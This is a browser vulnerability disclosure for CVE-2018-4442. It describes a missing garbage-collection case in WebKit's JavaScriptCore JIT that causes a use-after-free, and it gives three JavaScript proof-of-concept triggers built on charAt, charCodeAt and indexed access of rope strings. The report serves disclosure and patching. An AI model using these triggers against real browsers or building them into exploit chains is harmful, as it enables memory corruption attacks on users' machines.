WebKit: JSC: JIT: GetIndexedPropertyStorage can GC
CVE-2018-4442
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to UaF.
PoC 1 - StringCharAt:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(arr) {
let r = /a/;
let o = {};
arr[0].charAt(0);
arr[1].charAt(0);
arr[2].charAt(0);
arr[3].charAt(0);
arr[4].charAt(0);
arr[5].charAt(0);
arr[6].charAt(0);
arr[7].charAt(0);
arr[8].charAt(0);
arr[8].charAt(0);
arr[9].charAt(0);
o.x = 'a'.match(r);
return o;
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}
let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);
let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}
gc();
let o = opt(arr);
gc();
let tmp = [1234];
print(o.x); // 1234
}
main();
PoC 2 - StringCharCodeAt:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(arr) {
let r = /a/;
let o = {};
arr[0].charCodeAt(0);
arr[1].charCodeAt(0);
arr[2].charCodeAt(0);
arr[3].charCodeAt(0);
arr[4].charCodeAt(0);
arr[5].charCodeAt(0);
arr[6].charCodeAt(0);
arr[7].charCodeAt(0);
arr[8].charCodeAt(0);
arr[8].charCodeAt(0);
arr[9].charCodeAt(0);
o.x = 'a'.match(r);
return o;
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}
let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);
let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}
gc();
let o = opt(arr);
gc();
let tmp = [1234];
print(o.x); // 1234
}
main();
PoC 3 - GetByVal:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(arr) {
let r = /a/;
let o = {};
arr[0][0];
arr[1][0];
arr[2][0];
arr[3][0];
arr[4][0];
arr[5][0];
arr[6][0];
arr[7][0];
arr[8][0];
arr[8][0];
arr[9][0];
o.x = 'a'.match(r);
return o;
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}
let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);
let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}
gc();
let o = opt(arr);
gc();
let tmp = [1234];
print(o.x); // 1234
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: lokihardt
